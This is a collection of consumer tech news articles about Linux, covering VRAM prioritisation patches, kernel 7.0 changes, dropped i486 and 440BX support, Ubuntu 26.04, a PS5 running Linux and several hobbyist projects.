VRAM usage has become an increasingly unavoidable issue in games as they grow more graphically intensive over time. Pushing the visual fidelity requires more assets to be stored in VRAM, which makes it harder for cards with 8GB (or less) memory to run games smoothly. For Linux at least, Natalie Vock has just proposed a new solution that alleviates this issue, providing a notable performance boost for games by optimizing VRAM usage.

Vock is part of Valve's Linux graphics driver team; she's developed new kernel patches and two specific utilities to address the VRAM usage issue. These fixes basically talk to the OS and let it know that the game currently running in the foreground gets to call dibs on the VRAM. If the VRAM starts to fill up, any VRAM consumed by background tasks needs to spill over into system RAM before the game does.

Previously, whenever a game consumed too much VRAM, Linux would move its data (evict it) to system memory to prevent crashes. This is because, generally speaking, the Linux kernel doesn't have a clear idea of which program to prioritize; it might evict the game to allocate VRAM to a background browser window. When this happens, you'll experience inconsistent frame pacing and stutters in-game.

Vock tested Cyberpunk 2077 with an 8GB GPU and saw 1.37GB of memory spilling into the GTT, which stands for Graphics Translation Table and is responsible for telling the GPU to look for something in system RAM. The game was only consuming around 6GB of VRAM; despite having an 8GB pool, it could have maximized instead. Vock's fixes specifically target this via new patches proposed to the Linux kernel.

The main solution she developed is called dmemcg-booster (Device Memory Control Groups), which tells Linux what program needs to be "protected" at any given moment, meaning it can't be evicted from the VRAM and thrown into the GTT. If a background task requires VRAM, it will be the one forced to move to slower system memory to ensure the game keeps running without interruption.

This is more about optimizing VRAM usage than outright reducing it. If you had a 12 GB card, for instance, you'd never notice the drawbacks of just 8 GB of VRAM because there's enough buffer for poorly prioritized background programs. Now, even a GPU with less VRAM can run at its full potential. Case in point: with the fixes applied, Cyberpunk 2077 started using almost 7.4GB of VRAM, and GTT dropped to just 650MB.

The other component is called plasma-foreground-booster, and it can automatically tell KDE which window is in front so that it can prioritize VRAM usage for that window. These patches are currently being integrated into CatchyOS and are awaiting merge into the main Linux kernel. You can download and use these patches yourself inside any distro, but keep in mind they'll only work on AMD GPUs because Nvidia drivers have closed-source memory management.

Perhaps it is time to send your 37-year-old Intel 486 system into retirement, as far as modern Linux goes, as OS kernel developers appear to have started to dismantle support for this legendary CPU. Phoronix reports that the change seems to have been confirmed in patches destined for the Linux 7.1 kernel. So, those still cherishing their 486 PCs and using them to run a modern version of Linux should probably now make sure they run one of the existing Linux LTS kernels to squeeze a few more years from the platform. Alternatively, they could upgrade to a Pentium or even one of the best CPUs available in 2026.

The patching out of 486 support isn’t really a surprise. Firstly, it is ancient, with the first examples released in 1989, and modern Linux distros continue to grow more resource-hungry. Secondly, Linux creator Linus Torvalds hinted not long ago that 486 support may get the axe. The Linux mogul said that there was “zero real reason” to continue support for the 486 CPU. In fact, he indicated that continuing support for it was detrimental to upstream Linux kernel development efforts.

Developer Ingo Molnar will probably go down in history as the gallowsman, though. Molnar has authored a patch “that initially gets rid of the CONFIG_M486SX, CONFIG_M486, and CONFIG_MELAN Kconfig build option,” says Phoronix. Which is basically signaling in code that the 486 is on borrowed time.

“In the x86 architecture we have various complicated hardware emulation facilities on x86-32 to support ancient 32-bit CPUs that very very few people are using with modern kernels,” commented Molnar in a note accompanying the patch. “This compatibility glue is sometimes even causing problems that people spend time to resolve, which time could be spent on other things.” Then he repeated some of Torvald’s remarks to remind readers of who signed the 486's death warrant.

Phronix notes that the patch should be merged in Linux 7.1, meaning users won’t be able to build an i486 kernel image. Then, barring an unexpected level of public uproar, the rest of the 486 support can be safely gutted.

We are sure that this isn’t the end of having fun or even being productive with old Intel 486 systems. For example, earlier this year, we covered the news of an open-source 486 motherboard being built from scratch and passing Linux, DOS, and Doom compatibility tests (and more).

The release notes for Ubuntu 26.04 LTS show that Canonical has quietly raised the minimum RAM requirement for its popular Linux-based operating system by 50%. Ubuntu 26.04 LTS (Resolute Raccoon), the newest long-term support (LTS) release, requires at least 6GB of precious RAM, alongside a minimum dual-core CPU with a clock speed of 2 GHz, and 25GB of free storage.

The last time that Canonical upped the minimum RAM requirements of its well-known Linux distro was in 2018. That was when Ubuntu 18.04 LTS (Bionic Beaver) arrived, demanding 4GB. Ubuntu LTS RAM requirements had been as low as 1GB for the preceding four years, as established by Ubuntu 14.04 LTS (Trusty Tahr) in 2014. In that context, the latest change in RAM requirements isn’t as big of a shock.

Ubuntu experts at OMG Ubuntu characterize the latest revision in RAM specs as “an honesty bump.” In other words, the core OS isn’t really more demanding on system resources this time around, but Canonical recognizes that with the latest Gnome desktop, modern web browsers, and typical multitasking workflows, users should look at a minimum of 6GB of RAM.

Key apps like Firefox, LibreOffice, Thunderbird, and the GIMP are all updated in Ubuntu 26.04 LTS. Moreover, the Gnome desktop has been upgraded from version 46 to 50, and there are a host of underlying changes.

Ubuntu 26.04 LTS doesn’t make 6GB a hard requirement. The OS will still install on systems that don’t match the new spec. But obviously, users shouldn’t complain about Ubuntu’s poor performance on systems with lower memory quotas. OMG Ubuntu actually tested 26.04 (Beta) on a laptop with 2GB of RAM and noted it was functional but slow.

In the Linux world, there are plenty of alternatives

No one likes to see minimum system specs rise, especially during component shortages directly affecting potential upgrades. But progress must march on, and if this revision is indeed just for ‘honesty’ regarding usability with modern apps, then it is difficult to argue against the update.

If you are someone who would have installed Ubuntu LTS, and perhaps you were intending to do so on a machine constrained by a maximum of 4GB of RAM, remember that alternatives are readily available. Even within the ‘Ubuntu family,’ there is Lubuntu, a lightweight and efficient distillation of Ubuntu. This ‘essentials remix’ of Ubuntu is only up to 24.04 LTS right now but requires just 1GB of RAM, as well as a 1GHz CPU and a smidgen under 10GB of storage.

Ubuntu, one of the most popular Linux distros, has received some noteworthy gaming performance upgrades with the latest version 26.04. Phoronix tested Ubuntu 26.04 against 25.10 and found gaming performance improvements as great as 12%, depending on the title.

The Linux-focused outlet tested the two Ubuntu versions with a Ryzen 9 9950X3D, RTX 5090, and RTX 5080. All the tests were conducted on the Nvidia 590.48.01 Linux driver. Game and benchmarks featured Counter-Strike 2, Dirt Rally 2.0, Batman: Arkham Knight, Hitman 3, Strange Brigade, GravityMark, 3DMark Wild Life Extreme, Unigine Heaven 4.0, GPUScore: Breaking Limit 1.0, Tesseract, and Xonotic 0.8.6.

The first few games showed minor improvements (if any) with Ubuntu 26.04. Counter-Strike 2 was 8% faster with 26.04 on the RTX 5090, but achieved performance parity with 25.10 on the RTX 5080. Dirt Rally 2.0 saw the same thing on both the 5090 and 5080. Batman: Arkham Knight saw a 3% performance improvement on the RTX 5090 with 26.04 and none on the 5080.

Hitman 3 saw some noteworthy gains for the RTX 5090 of 11% on the RTX 5090 and Ubuntu 26.04, but just 4% on the RTX 5080. Strange Brigade showed identical performance on both GPUs with both Linux versions. GravityMark saw a 5% performance upgrade on the RTX 5090 in 26.04, and 3DMark WildLife Extreme saw a 6% improvement on the RTX 5090 with 26.04, but none on the 5080. 3DMark Solar Bay also achieved performance parity on both GPUs on both Ubuntu versions.

Unigine Heaven 4.0 saw a 2% advantage for the RTX 5090 with 26.10, but no improvement on the RTX 5080. Similarly, GPUScore: Breaking Limit 1.0 saw only a 3% advantage for the RTX 5090 with 26.10 and none for the 5080. Tesseract saw a 5% improvement in 26.10 with the 5090 only, and Xonotic saw up to a 10% improvement only on the 5090 as well. Overall, Phoronix saw a 4.4% performance improvement with Ubuntu 26.04 compared to 25.10 on the RTX 5090.

Ubuntu 26.04 is loaded with changes under the hood that contribute to its better gaming performance; it's the first Ubuntu OS to feature Mesa 26, which comes with a load of performance optimizations and bug fixes. Notably, it features ray tracing optimizations for Vulkan. Ubuntu 26.04 also comes with Gnome 50, which has seen a plethora of optimizations, upgrades, and fixes as well. Specifically on the Nvidia side, Gnome 50 comes with various workarounds (according to Phoronix) that unlock extra performance from Nvidia's Linux 580-series drivers.

The only disappointing aspect of this release is that the aforementioned performance improvements appear to only be beneficial on the fastest GPU hardware available, the RTX 5090. It's likely that other Nvidia cards, such as the RTX 5070 Ti and lower, will benefit even less from these optimizations.

In light of Sony's heavily-rumored decision to pivot away from PC releases, one security engineer took matters into his own hands and turned the PS5 into a PC. Andy Nguyen ported Linux to a PlayStation 5 console, hacking through several layers of hardware and software barriers thanks to full-chain exploits. Not only did he manage to get Linux running, but the modded console actually performs well in games.

As the video below shows, that's a PS5 Slim running full-fat Linux with no illusions. Now that it's a PC, it can do anything a standard computer can, which includes running GTA V Enhanced Edition via Steam. It's set to 1440p resolution, with ray tracing enabled as denoted by the "High RT" preset in settings. The gameplay is steady at a smooth 60 FPS with barely any fluctuation, and even the sound is working.

Andy says this Linux-PS5 (LinuxStation 5?) supports 4K HDMI and audio output, and all USB ports are working. The CPU is sitting at 3.2 GHz, while the GPU is at 2.0 GHz, but both can go higher — the CPU can boost to 3.5 GHz, and the GPU can boost to 2.23 GHz. But the PS5 Slim doesn't have the thermal headroom to keep up with those numbers and simply overheats if pushed any harder.

To achieve this, Andy used a PS5 running significantly older firmware, between 1.0 and 2.0, that was released around five years ago. The author used the 'Byepervisor' exploit to say bye to the hypervisor Sony uses on its console, gaining kernel-level control to run unsigned code. GPU acceleration is still incomplete, and some functionality remains limited, but the community's efforts are impressive nonetheless, as Andy demonstrates.

To be clear, GTA V Enhanced Edition, the game Andy tested on this, is natively available on PS5 as well, but where's the fun in that? Under the hood, the PS5 is essentially a locked-down x86-based PC that's very similar in architecture to a modern computer. If Sony's hypervisor weren't in place, you could probably boot Linux directly on it. In fact, Sony used to allow that back in the early PS3 days as "OtherOS."

In a way, this is a tease of what the upcoming Steam Machine will be since it'll feature similar performance and run SteamOS, based on Linux. Through Proton, it can play pretty much any Windows game, sometimes with even a slight FPS bump. The Linux-PS5, therefore, is like the best of both worlds because it can go back to being a regular exclusives-playing machine after the tinkering phase is over.

Update: 12.51 EST: The developer of Vib-OS, viralcode, has reached out to say that the video concentrated on "x86 64, which is buggy and mentioned in readme." It is further suggested the content of the video was largely negative "just to get views." If readers want to test out Vib-OS properly "QEMU in Mac is the best place to run it without bugs," encourages the developer.

A new vibe-coded operating system was found to be a woeful attempt at building a PC operating system. This revelation comes via TechTuber Tirimid, who put an AI-coded OS through his regular set of nine quality checks. Unfortunately, Vib-OS v2.2.1 - Multi-Architecture OS with Full GUI, was found to be difficult to set up, and was stuffed with a mix of serious and/or weird bugs. Even some of its headlining features, like running Doom, simply didn’t work, as evidenced by the video embedded below.

Checking out the Vib-OS GitHub resources, the operating system seems to cover all the bases for a useful modern OS. The blurb insists this custom Unix-like OS “features a custom kernel, a modern macOS-inspired graphical user interface, a full TCP/IP networking stack, and a Virtual File System (VFS).” Moreover, it works natively on real hardware like Raspberry Pi 4/5, x86_64 PCs, and Apple Silicon – as well as in emulators like QEMU, according to the author (or possibly AI also wrote the readme).

At version 2.2.X, one might expect a project to have gotten past teething issues such as major advertised features having obvious bugs, or not even working. Tirimid’s testing of the system using QEMU on Linux x86 (as specifically stated to be compatible) shows that Vib-OS still needs a few fixes to bring it up to the level of being competent.

For example, installation issues foreshadowed the bugginess that was to follow. After several hours of ‘suffering,’ Tirimid finally managed to get the OS to boot, though.

The OS starts with a familiar-looking desktop, displaying a File Manager, Terminal, a central apps bar at the bottom of the screen, and some status icons appearing to show things like network connection status and time. It was promising to see the OS boot up with these familiar windows open and ready to do as instructed. However, the OS failed at several basic tasks:

• Trying to connect to the internet – failed
• The New Folder button and context menu in File Manager don’t do anything
• The Notepad app doesn’t seem to load or save, and doesn’t recognize arrow key input
• There’s no Python support apparent, despite GitHub assertions to the contrary
• Games don’t appear to be installed and/or don’t work properly
• The calculator doesn’t work using the on-screen keypad, but is OK (except for decimals) when inputting using the keyboard
• The Clock app doesn’t update unless you activate (click) its window, and the time isn’t the same as the system time in the status bar
• The ‘Browser’ app is an image viewer

The operating system allegedly supports Doom. The readme includes screens marked “Classic Doom running natively with full graphics, input, and sound support.” And it is claimed, independently, that there is a “Full Doom port with graphics, input, and sound” in the OS. Nevertheless, Tirimid’s clicking of the Doom icon in the launcher did nothing.

Giving up on Doom, a pre-installed version of Snake ran, but had serious issues with screen updates and pacing. This poorly executed game managed to get Vib-OS a tick on Tirimid’s 9-point checklist as it technically ran.

Finally, the TechTuber couldn’t even ‘destroy’ this OS from within. It was very limited in understanding Terminal commands, meaning that “even something like a file deletion won’t be possible.”

Tirimid has previously tested other interesting operating systems like RetrOS, Hannah Montana Linux, and Windows XP.

If you're tired of the modern internet, then why not dial back to the 1990s? One nostalgic developer has recreated the pinnacle of early Linux operating systems with the so-called CDE Time Capsule. Posted as an open-source project on GitHub under the GPL license, but accessible via its own website, the project has faithfully recreated the appearance of a Debian Linux installation, circa 1994.

For those who didn't get to experience those early Unix-based operating systems, they borrowed a lot from the -Unix part of their name. CDE, or the Common Desktop Environment, was the desktop environment used on Unix-based systems until successors like GNOME and KDE were released by the end of the decade. It was jointly developed by a number of big firms, including HP, IBM, and Sun, and first launched back in June 1993.

This new project, fully available for you to try on its own domain but available for you to run locally, seeks to capture that mid-1990s experience in full. The developer, Victor Larios, describes it as "a modern Progressive Web App that brings 1990s Unix to any device. Desktop, tablet, phone—the experience adapts. Touch gestures on mobile. Keyboard shortcuts on desktop. Always authentic."

Ambitious, indeed. It certainly looks the part, with 76 authentic color palettes and 198 original XPM backdrops used in the original release. It has a pseudo boot sequence that lets you watch as the "system initializes," after which you're pushed straight into the CDE desktop.

This isn't just a visual spectacle, as it actually works, at least partially. It has a desktop, an icon bar at the bottom, a top bar with "system info" and the time, and a workspace switcher that lets you switch between four virtual desktops. It has its own web browser (Netscape, naturally), a terminal, the XEmacs text editor, a file manager to manage your files, along with system apps to control the pseudo system processes. There are heavy customization options available, too, to let you switch up how the environment looks and feels.

Five minutes of playing around with the environment show how faithfully it appears to be replicated, but enough to show up its limitations. For obvious reasons, the Netscape browser doesn't quite work as you'd expect, with only a limited selection of hard-coded pages, with their faithful '90s designs, able to be viewed. Still, the project is quick, responsive, and (from what I can tell) bug-free, and works well on different devices, including on mobile.

While the limitations do exist, the project is well documented over at its GitHub site, with guides for both new users and power users to get the most out of it, as well as developers who might want to contribute. If you want to "experience the legend," then you can, without installing it natively, over at the specially-hosted project website, although installing it is as simple as double-clicking the 'Install PWA" button in any modern browser.

Linux 7.0-rc1 has been officially released and brings with it a boatload of new features and changes. Phoronix reports that the new kernel is focused on preparing for upcoming AMD and Intel hardware, including Nova Lake and Zen 6. Since this kernel is bleeding edge, don't expect every distro to adopt it immediately, however it is expected that the upcoming Ubuntu 26.04 LTS and Fedora 44 will be some of the first Linux distros to upgrade to Linux 7.0.

Beyond these major updates, the changelog for Linux kernel 7.0 is massive. On the CPU side alone, enablement work has been done to get Nova Lake, Diamond Rapids, and Zen 6 chips operational on Linux 7.0. Intel TSX is now tuned to auto mode to boost performance on newer Intel CPUs. DSA 3.0 accelerators are now included in Linux 7.0 to offload appropriate tasks to dedicated silicon on newer Xeon chips. Turbostat — a command-line hardware monitoring tool — now reports L2 cache stats for newer Intel CPUs. NTB driver support and performance events support have been added for Diamond Rapids Xeon CPUs. LPSS driver and sound support have been added for Nova Lake chips.

Zen 6 performance events and metrics support has been added to the kernel, and new support for address translation in Zen 5 has been added to the CLX subsystem. Beyond Intel and AMD CPUs, support for features for CPUs and SoCs from other brands has been added as well. Atomic LS64/LS64V instructions have been added for ARM64 CPUs, user-space CFI support has been added for RISC-V CPUs, and mainline support for the SpacemiT K3 RVA 23 SoC has been added.

Graphics received fewer updates, but there are a few noteworthy additions. Support for future AMD graphics hardware has been added, and Nova Lake display support has been added (for the iGPU). Most of the other changes surround bug fixes and display optimizations.

Beyond pure CPU and GPU hardware, there have been a number of other improvements, such as Apple USB Type-C PHY support, and file system enhancements and improvements for F2FS, exFAT, and EXT4 to name a few. If you want to know more, we have covered more of Linux 7.0 features in previous content.

Though you might appreciate the clean, unfussy minimalism of the Linux terminal, it can also be extensively customized using a few lines of code, as shown in our guide. However, developer Veirt has pushed things far beyond giving the CLI a new lick of paint with Weathr. This is a Rust-based app that teleports real-time ASCII art-based weather animations to your terminal backdrop.

The above animated demo provided by Veirt shows the terminal at night, during a thunderstorm. Here you see a moonlit backdrop flecked with rain, with an occasional fork of lightning piercing the night sky. This ASCII animation isn’t random; it is driven by tapping into real-time weather data provided by Open-Meteo and using auto-location detection. Veirt says that the animation engine can pull in “animated rain, snow, thunderstorms, flying airplanes, [and] day/night cycles.”

If you want to enjoy these real-time weather backdrops in your terminal, so you no longer need to look out of the window to check the real-world weather, your Linux machine will need Rust installed. Veirt shares a guide to setup, installation, and configuration. Moreover, you can test/simulate weather conditions to make sure Weathr is working properly. In the UK, for example, you might want to simulate a sunny day, for a change.

Weathr has been released on GitHub under the GPLv3 license, and Viert thanks/credits Open Meteo and ASCIIArt.EU for sharing their resources.

This fun and almost useful app has a development roadmap that includes support for other weather APIs, binaries for ARM64, hotkeys to control the animations, and more.

We’d also like to see some seasonal frills added. Imagine the extra fun of adding Santa and his sleigh whizzing by during the 12 days of Christmas, or animations featuring the Easter bunny, Halloween witches on broomsticks, occasional fireworks, falling leaves, and so on…

As mentioned in the intro, we have previously published a guide to customizing the Linux terminal with rainbow text, ASCII Art, and more. If you think Weathr might be a little bit too distracting, you can still spruce up the terminal with a fresh look – and include subtle nuggets of information like CPU temperature, IP address, and (also) even the latest weather conditions, without making a big show out of it.

Intel's 440BX motherboard chipset was arguably the finest of such specimens to have ever existed. Nothing lasts forever, though, and the upcoming Linux kernel 7.0 is now dropping support for the chipset's EDAC driver (hat tip to Phoronix).

The code hasn't been functional since 2007 due to incompatibilities with the more widely used Intel AGP driver. The lack of EDAC meant that 440BX machines with ECC RAM would still fix errant bit flips, but without software-side notifications. The Intel AGP driver, on the other hand, is used by dozens of older chipsets. Now, 440BX EDAC support has been officially removed, not just disabled.

If reading this makes you wonder if you didn't click on an ancient article, fret not. Back in the day, CPUs needed the motherboard to handle memory connections via a northbridge chip, accompanying the still-existing southbridge. It was a wild era with no shortage of wonky, flaky, and outright atrocious designs. Those were proverbial millstones on technicians' patience and mental health, and likewise tested owners' wallets.

Odd incompatibilities and unexpected behavior were the norm, so much so that the then-new "Plug And Play" hardware protocol was derided as plug-and-pray. Additionally, motherboard performance was actually a big deal, as the choice of chipset could be the difference between a buttery-smooth machine and a slogfest. Standards were seen more as suggestions.

The arrival of the 440BX was a breath of fresh air in one fell swoop, solving both equations at once — and then some. It was stable as a rock, with comparatively few incompatibilities, would handle most out-of-spec hardware with aplomb, and was fast as heck. That was enough to immediately grant it the king's crown, but then there was the matter of overclocking.

Back when overclocking was a game that mere mortals could play (and was actually worth playing), the mighty 440BX would happily run utterly and completely out of spec, sometimes overclocked to 50% over its rated speed without issue (and no heatsinks!). In turn, that let enthusiasts buy cheap Celeron 300A processors push them from 300 MHz to at least 450 MHz (a 50%+ boost) with just the flick of a switch, with nearly a 100% success rate. Compared to paying for a much more expensive Pentium II-450 processor, you can imagine which option techies preferred.

The stability and wide-ranging compatibility led to countless builds around 440BX, including fleets of server motherboards. It was the Toyota Hilux of computing, refusing to die no matter what you did to it. Ironically enough, it was actually superior to its successor, another characteristic that ensured its longevity.

The importance of the chipset can't be understated. As proof, to this very day, VMware virtualization software always uses the Intel 440BX as the default chipset, even with Windows 11 as both the host and guest.

In its latest monthly update, the Linux Mint blog looks back at development over the prior decade. One of the distro’s strengths, according to the author(s), is that the Mint team does things incrementally, making changes slowly. The big news is that this blog post provides a pretty strong signal that the developers want to break from the rigid six-monthly update cycle they have self-imposed. It looks like things are going to get even more incremental and slow. Is this playing to the distro’s strengths, as the blog indicates? Conversely, the blog also suggests that more time between releases will let the Linux Mint team be more ambitious.

Longer development cycle allows for greater ambition

Schedules can easily become a burden. The good news is, if time tables are self-imposed, it isn’t that difficult to change them. However, Linux Mint has grown quite a following, so the developers probably hope this blog post will ease user fears and reduce push-back over their planned timing changes.

The Linux Mint developers argue that “With a release every six months plus LMDE, we spend more time testing, fixing, and releasing than developing.” Rationally, it is difficult to argue against this assertion. Moreover, the devs say that there are great upsides to departing from a strict timing regimen. Most notably, the admin load of the six-monthly release schedule “caps our ambition when it comes to development.” The extra time could be used for more ambitious developments between updates.

For now, no new schedule has been proposed. That’s good if this kind of time-based commitment detracts from development. Nevertheless, a schedule can assure users that the distro isn’t going to be left behind technologically, compared to the throng of alternatives. We have to wait and see the final form of the changes and the proposed “longer development cycle” before further judgment. If the changes are done right, this redefinition of the cycle will strengthen Mint’s identity and reputation for independence and stability.

We are asked to “stay tuned” for more details on the lengthened development cycle.

Elsewhere in the Linux Mint monthly news update, there are segments highlighting the success of Mint 22.3, the distro's new keyboard layouts and IM, and a discussion of new user management tools.

Linux kernel releases have historically only been of interest for those daily-driving with Linux. With the popularity of the Steam Deck and SteamOS-based PCs though, kernel improvements are now far more enticing. Linux Kernel Version 7.0 is now set to release (H/T to Phoronix) with a host of performance improvements in tow.

Most of the fresh upticks pertain server-grade workloads, but a few have the potential to improve desktop responsiveness and gaming performance, though we'll have to wait until benchmarks arrive to be sure.

The most interesting feature is likely the TIP Time Slice Extension, as it allows an application to request a temporary time extension if it's performing a critical piece of work, so that it's not pre-empted (put away) by the kernel scheduler at the worst possible time.

This means that for example, a game or an audio application gets a signal that it's about to be temporarily put away, and kindly request "please, sir, can I have some more" so that it can wrap up what it's doing. In turn, this could yield a smoother desktop performance with heavyweight applications, and smoother gaming experience, possibly even improving 1% low FPS.

The new "sheaves" memory handling mechanism, while targeted at servers, can also improve desktops. Many CPU-heavy applications, like some games, behave that way because they need to constantly allocate and release memory. As a result, sheaves' speedup has the potential to reduce latency spikes when the CPU is under stress.

The rest of the upgrades look better suited to servers: the Open Tree Namespace allows for much faster creation of containers (in Docker, Kubernetes, and microservices), a big win for the respective hosting services. Better IO_uring and zero-copy networking substantially eases CPU load when handling lots of networking traffic (think 10+ Gbps), and further tuning to the scheduler ought to let web and database servers handle load more smoothly.

You're probably wondering when your favorite distro will start using the new kernel. Canonical is hopeful that the upcoming Ubuntu 26 LTS in April will ship with the new kernel, as will Fedora 44 around the same timeframe. The Bazzite gaming distribution derives from Fedora and releases quickly, so it'll catch up within a month; let's call it May. ChimeraOS, the handheld-focused gaming distro, should get it around June. Oh, yes, and you can now change the Tux boot logo.

Lack of Linux support for internal PC build components, such as RGB lighting and internal LCD screens, is a big headache that Linux users normally have to get around by installing Windows just to install the control software for these devices to make them function. However, a Redditor has decided to fix this problem for his personal Thermalright LCD cooler and has built a full-fledged Linux port of the Thermalright Linux software all by himself. The Redditor's new Linux build of Thermalright's control center software can be found on GitHub.

The software is feature-complete and supports a wide variety of Thermalright coolers, including the Frozen Warframe/SE, Frozen Vision V2/Core Vision/Elite Vision, Frozen Horizon Pro/Magic Pro, LC1/LC2/LC3/LC5 AIO pump heads, AK120, AX120, PA120 Digital, and Wonder Vision CZTV.

This Linux version of the Thermalright app includes all the features necessary to fully utilize Thermalright's supported devices. It comes with a GUI copied from the Windows version "pixel-for-pixel", featuring local themes, and can download extra themes from the cloud. Video and GIF playback is also supported, with options for overlaying hardware information, such as CPU and GPU temperatures, on the screens of supported devices.

The Redditor who created the app has only tested his Linux version on Fedora so far, but states the app technically supports all Linux distros.

Linux's very low consumer population has made it practically invisible to most component manufacturers that build internal PC components that require dedicated software to customize or control. Most of these apps only support Windows and MacOS.

This problem has forced the Linux community to build its own third-party dedicated apps to rectify support issues on Linux. For instance, a well-known RGB application on Linux is OpenRGB, which can interface with lots of RGB devices, including motherboards, RAM, GPUs, fans, mice, and keyboards. With Linux support now present through a third party, Thermalright owners of the aforementioned supported coolers no longer need to have a secondary Windows installation on hand to control their coolers' screens. That said, this Linux version is not an official version supported by Thermalright, so there could be bugs.

Nvidia's cloud gaming service, GeForce Now, has finally received a native Linux install for Linux gamers. Announced by Nvidia, the new version is designed around a Flatpak installer and has official support for Ubuntu 24.04 LTS or newer. However, Flatpak is Linux OS agnostic, so you can run the Flatpak build of GeForce Now on Linux operating systems and distros other than Ubuntu.

GeForce Now was already accessible on Linux through web browsers, but having a native app offers better input latency, performance, and unlocks features present in the native app on other operating systems. For instance, the native app offers substantially more resolution options and 5K resolution support, frame rates of up to 360FPS (depending on resolution), and Reflex enablement within the app. With the web browser version, you are limited to 1440p as the maximum resolution and frame rates of up to 120 FPS.

Phoronix reports that the native app will require a GPU that supports H.264 or H.265 video decoding for the native Linux version. However, AV1 support is not available in the current version of the Linux app. There are some Linux quirks worth watching out for. Nvidia recommends graphics drivers R580 or newer when using an Nvidia GPU and using the X.org display driver only when running the GeForce Now native app. Intel and Radeon users are recommended to use Mesa 24.2 or newer and the Wayland protocol.

Another quirk you'll need to pay attention to if you are going to use the GeForce Now native app is that Nvidia is reportedly not distributing it through Flathub (the app store for Flatpak apps). The only way you can install it is through Nvidia's official download link on the website and by following the installation instructions.

Nvidia's new native app represents the seventh platform GeForce Now supports with native integration featuring, Windows, Mac, Chromebook, Android, iOS/iPadOS, and Linux. There is also a plethora of TVs that support GeForce Now. Unsupported platforms can access GeForce Now through the web browser. NVIDIA also announced Amazon Fire TV stick support in conjunction with the launch of the Linux native app.

GeForce Now can be accessed for free with basic gameplay functionality, but the platform is capable of outputting a flagship PC-like gaming experience with its RTX 4080/5080 Ultimate plan, with support for ultra-high refresh rate monitors and ultrawide monitors.

Linus Torvalds, creator of the Linux kernel, has been its lead maintainer since its inception in 1991. That's a long way back now, and in the man's own words, the kernel community is "getting grey and old." Interestingly enough, though, it was only few days ago that a formal plan was drawn to replace Torvalds, should he wish to retire or something happens to him, or whoever else may be in charge.

The contingency plan now in place is fairly simple, and only triggered if there's not a graceful transition when the occasion arises. Should there be a need for it, the kernel community will first find an Organizer, who is the last Maintainer Summit organizer, or the current Linux Foundation Technical Advisory Board Chair (TAB).

The Organizer has 72 hours to kick off discussions with the invitees of the most recent Maintainers Summit. Should 15 months have elapsed since the last Maintainers Summit, then it's up to the TAB to determine the invitees, who may bring other maintainers in as they see fit. This collective then presents its decision in two weeks' time and communicates to the community via mailing list.

If push came to shove, even without this official plan, it's likely that the kernel community would easily reach an agreement. After all, as Torvalds himself remarked in the past, there are not a lot of open-source projects that "have maintainers that have literally been around for over three decades".

Despite expressing some concern about the number of maintainers earlier in the decade, he's not currently concerned about the technical acumen of the talent pool, either, going as far as saying that "it's not instant, but there are new people who come in, and three years later they are a main developer."

This scenario should be familiar to any software project manager, as it illustrates the key concept of "bus factor," or the number of people that can get hit by a bus before your project is in trouble. Right now, that figure is a nice round zero for the Linux kernel, despite the community being good at self-management. For the time being, Linus Torvalds hasn't expressed any desire to stop being the Linux kernel head, but any increase in the bus factor is welcome, especially coming from nil.

A software engineer has developed a fully functional Linux scheduler that takes its cues from the popular pseudoscience of astrology. The scx_horoscope scheduler “makes CPU scheduling decisions based on real-time planetary positions, zodiac signs, and astrological principles,” notes its creator, Lucas Zampieri. Thus, if you are a Gemini, working on your computer on April 10, 2026, for example, your CPU tasks would run 50% slower.

It may sound like an exercise in silliness, unless you are a believer, but this GitHub project does a great job demonstrating the power and flexibility of sched_ext. In brief, sched_ext is a relatively new pluggable framework that allows for custom Linux schedulers to be implemented without kernel patching. We are sure the feature wasn’t designed to assign CPU time and other system resources based on the movements of heavenly bodies – but it can.

Zampieri, who is a software engineer at Red Hat specializing in RISC-V architecture projects, discusses the features and implementation of his scx_horoscope on the afore-linked GitHub repository. However, I must confess that the astrological scheduling rules, which weigh the complex mix of planetary domains, the zodiac, element effects, retrograde effects, and more, to balance the priorities of your CPU, networking, system, and memory tasks, are hard to fathom. That complexity makes sched_ext all the more impressive.

The dizzying arrays of mumbo jumbo behind this scheduler almost encourage blind acceptance in its prioritizing decisions. After reading the GitHub, head spinning as I thought about the ever-moving boosts and debuffs of elemental effects, I almost felt hypnotized into believing. I was ready to accept, as Zampieri puts it, “if the universe can influence our lives, why not our CPU scheduling too.”

To sum up, it is a rather extraordinary piece of work to interweave astrology and a fully functional operating system scheduler. It actually draws on resources like accurate geocentric planetary positions, lunar phases, cosmic weather reports, and dynamic time slicing to come up with its scheduling adjustments, too.

Zampieri is clear that this GPL-2.0 licensed project is a “scientifically dubious, cosmically hilarious” work. It definitely isn’t recommended for use in production systems - not because of bugs, but because it works as intended… The dev is still looking to add “more cosmic chaos” to scx_horoscope, so contributors are welcome.

Lapdock accessories maker Nex Computer has come up with a smartphone that can boot into three operating systems: Android, Linux, and Windows. The new NexPhone is an attempt to offer a single device for all your computing needs. Powered by the company’s NexOS, the device can be used as an everyday smartphone with Android 16 and can launch Linux (Debian) as an app within the Android interface. The phone can also boot into Windows 11, complete with a custom tile-based UI and progressive web app support reminiscent of the now-retired Windows Phone OS.

To expand productivity, the NexPhone can be hooked to a monitor with some peripherals for a full desktop experience using Android, Linux, or Windows 11, depending on the user’s preference. In terms of design, the smartphone doesn’t really stand out as it looks similar to most entry-level smartphones from a few years ago. However, the company has focused on making the NexPhone quite rugged as it meets the MIL-STD-810H military standards with IP68 and IP69K protection. This means that it can be used in harsh environments and can withstand drops, shocks, dust, water immersion, salt spray, vibration, and extreme temperatures.

The smartphone features a 6.58-inch LCD display with a 2403x1080p resolution, 120 Hz refresh rate, and Corning Gorilla Glass 3 protection. It is powered by the Qualcomm QCM6490 chipset, which is a Windows compatible Arm chipset with long-term support through 2036. It includes a 64-bit octa-core CPU with boost clock speeds of up to 2.7 GHz, 12GB of RAM, and a Qualcomm Adreno 643 GPU. There’s 256GB of onboard storage, which can be expanded further using a microSD card up to 512GB.

Connectivity features include Wi-Fi 6E, Bluetooth 5.2, NFC, and USB Type-C 3.1. The USB Type-C port offers video-out support, so it can be used to connect directly to a monitor or be used with the company’s own USB Type-C hub, which includes two USB Type-C ports (one of which supports PD charging), two USB Type-A ports, and HDMI. Other features include a 5,000 mAh battery, 18W wired fast charging, wireless charging, and a dual-camera setup at the back with a 64-megapixel primary camera and a 13-megapixel ultra-wide-angle sensor. At the front, there is a 10-megapixel camera for taking selfies and video calls.

